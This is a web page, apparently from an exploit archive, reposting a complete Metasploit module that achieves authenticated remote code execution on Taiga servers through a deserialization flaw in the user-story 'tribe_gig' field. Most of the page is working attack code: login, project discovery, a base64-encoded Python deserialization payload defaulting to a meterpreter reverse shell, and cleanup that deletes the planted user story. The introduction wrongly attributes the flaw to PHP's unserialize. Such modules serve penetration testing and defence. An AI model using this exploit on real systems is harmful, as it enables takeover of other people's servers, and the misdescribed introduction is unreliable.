Khalil Shreateh specializes in cybersecurity, particularly as a "white hat" hacker. He focuses on identifying and reporting security vulnerabilities in software and online platforms, with notable expertise in web application security. His most prominent work includes discovering a critical flaw in Facebook's system in 2013. Additionally, he develops free social media tools and browser extensions, contributing to digital security and user accessibility.

Get Rid of Ads!


Subscribe now for only $3 a month and enjoy an ad-free experience.

Contact us at khalil@khalil-shreateh.com

 

 

Taiga Tribe_gig Authenticated Unserialize Remote Code Execution
Taiga Tribe_gig Authenticated Unserialize Remote Code Execution
A critical vulnerability was found in Taiga, specifically within the A critical vulnerability was found in Taiga, specifically within the `Tribe_gig` component.
It's an Authenticated Unserialize Remote Code Execution (RCE).
This means an attacker, after logging in to Taiga,
could exploit a flaw related to the insecure use of PHP's `unserialize()` function.
By crafting and sending malicious serialized data,
the attacker could trigger arbitrary code execution on the server.
The server, attempting to process this data,
would inadvertently execute commands injected by the attacker.
This allows full control over the compromised Taiga instance.
Immediate patching is crucial to prevent unauthorized system access.

##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class TaigaClientException < StandardError; end

class MetasploitModule < Msf::Exploit::Remote
Rank = ExcellentRanking

include Msf::Exploit::Remote::HttpClient
include Msf::Exploit::CmdStager

def initialize(info = {})
super(
update_info(
info,
'Name' => 'Taiga tribe_gig authenticated unserialize remote code execution',
'Description' => %q{
This module exploits an unserialization flaw by
creating a userstory in a project.
},
'License' => MSF_LICENSE,
'Author' => [
'rootjog', # Discovery
'whotwagner' # Metasploit Module
],
'References' => [
['URL', 'https://github.com/taigaio/taiga-back/security/advisories/GHSA-cpcf-9276-fwc5'],
['CVE', '2025-62368']
],
'Platform' => %w[linux unix python],
'Targets' => [
[
'Python payload',
{
'Arch' => [ ARCH_PYTHON ],
'Platform' => 'python',
'Type' => :python,
'DefaultOptions' => { 'PAYLOAD' => 'python/meterpreter/reverse_tcp' }
}
],
[
'Linux Command', {
'Arch' => [ ARCH_CMD ],
'Platform' => %w[unix linux],
'Type' => :nix_cmd,
'DefaultOptions' => {
'PAYLOAD' => 'cmd/linux/http/x64/meterpreter_reverse_tcp'
}
}
],
],
'DefaultOptions' => {
'SSL' => false
},
'Privileged' => false,
'DisclosureDate' => '2025-10-28',
'DefaultTarget' => 0,
'Notes' => {
'Stability' => [CRASH_SAFE],
'Reliability' => [REPEATABLE_SESSION],
'SideEffects' => [ARTIFACTS_ON_DISK, IOC_IN_LOGS]
}
)
)

register_options(
[
OptString.new('TARGETURI', [true, 'Path to taiga', '/']),
OptString.new('USERNAME', [true, 'The username to authenticate as']),
OptString.new('PASSWORD', [true, 'The password to authenticate with'])
]
)
end

def authenticate(user, pass)
res = send_request_cgi(
'uri' => normalize_uri(target_uri.path, 'api/v1/auth'),
'method' => 'POST',
'ctype' => 'application/json',
'data' => {
username: user,
password: pass,
type: 'normal'
}.to_json,
'keep_cookies' => true
)

raise TaigaClientException, 'Login failed' if res&.code != 200

parsed_json = res.get_json_document
@token = parsed_json['auth_token']
@taiga_user_id = parsed_json['id']
end

def get_project
res = send_request_cgi(
'uri' => normalize_uri(target_uri.path, 'api/v1/projects'),
'vars_get' => { 'member' => @taiga_user_id, 'order_by' => 'user_order' },
'method' => 'GET',
'ctype' => 'application/json',
'keep_cookies' => true
)

raise TaigaClientException, 'Get projects failed!' if res&.code != 200

projects = res.get_json_document
projects.each do |project|
@taiga_project = project['id'] if project['is_kanban_activated']
end

raise TaigaClientException, 'No project with activated kanban found' unless defined? @taiga_project
end

def get_status
res = send_request_cgi(
'uri' => normalize_uri(target_uri.path, 'api/v1/userstories/filters_data'),
'vars_get' => { 'project' => @taiga_project },
'method' => 'GET',
'ctype' => 'application/json',
'keep_cookies' => true
)

raise TaigaClientException, 'Get status failed!' if res&.code != 200

status_data = res.get_json_document
raise TaigaClientException, 'No statuses found!' unless status_data.key? 'statuses'

status_data['statuses'].each do |stat|
return stat['id'] if stat['name'] == 'New'
end
end

def delete_userstory(id)
send_request_cgi(
'uri' => normalize_uri(target_uri.path, "api/v1/userstories/#{id}"),
'method' => 'DELETE',
'ctype' => 'application/json',
'headers' => { 'Authorization' => "Bearer #{@token}" },
'keep_cookies' => true
)
end

def send_payload(payload, project_status)
temp_project = Rex::Text.rand_text_alpha(10..15)
send_request_cgi(
'uri' => normalize_uri(target_uri.path, '/api/v1/userstories'),
'method' => 'POST',
'ctype' => 'application/json',
'headers' => { 'Authorization' => "Bearer #{@token}" },
'data' => {
_attrs: { project: @taiga_project, subject: '', description: '', tags: [], points: {}, swimlane: nil, status: project_status, is_archived: false }, _name: 'userstories', _dataTypes: {}, _modifiedAttrs: { subject: temp_project.to_s, description: temp_project.to_s }, _isModified: true, project: @taiga_project, subject: temp_project.to_s, description: temp_project.to_s, tags: [], points: {}, swimlane: nil, status: project_status, is_archived: false, is_closed: false,
tribe_gig: payload.to_s
}.to_json
)
end

def check
cookie_jar.clear
begin
authenticate(datastore['USERNAME'], datastore['PASSWORD'])
get_project
project_status = get_status
rescue TaigaClientException => e
return Exploit::CheckCode::Unknown(e)
end
sleep_time = rand(5..10)
pl = Msf::Util::PythonDeserialization.payload(:py3_exec, "import os;os.system('sleep #{sleep_time}')")
command = Rex::Text.encode_base64(pl)
res, elapsed_time = Rex::Stopwatch.elapsed_time do
send_payload(command, project_status)
end
return Exploit::CheckCode::Unknown('Could not connect to the web service') unless res&.code == 201

user_story_id = res.get_json_document['id']
res = delete_userstory(user_story_id)
print_warning('Cleanup failed') unless res&.code == 204

print_status("Elapsed time: #{elapsed_time} seconds.")
return Exploit::CheckCode::Vulnerable('Detected vulnerable Taiga.io') if sleep_time <= elapsed_time

Exploit::CheckCode::Safe('Target is not vulnerable')
end

def execute_command(cmd, _opts = {})
# calls some method to inject cmd to the vulnerable code.
begin
project_status = get_status
rescue TaigaClientException => e
fail_with(Failure::UnexpectedReply, e)
end
print_status('Sending payload..')
res = send_payload(cmd, project_status)
print_good('Payload sent')
user_story_id = res.get_json_document['id']
print_status('Cleanup..')
res = delete_userstory(user_story_id)
print_warning('Cleanup failed') unless res&.code == 204
print_good('Userstory deleted')
end

def exploit
cookie_jar.clear

begin
authenticate(datastore['USERNAME'], datastore['PASSWORD'])
get_project
rescue TaigaClientException => e
fail_with(Failure::UnexpectedReply, e)
end

if target['Type'] == :python
command = Msf::Util::PythonDeserialization.payload(:py3_exec_threaded, payload.encoded)
else
command = Msf::Util::PythonDeserialization.payload(:py3_exec_threaded, "import os;os.system('#{payload.encoded}')")
end
data = Rex::Text.encode_base64(command)
execute_command(data)
end
end

Social Media Share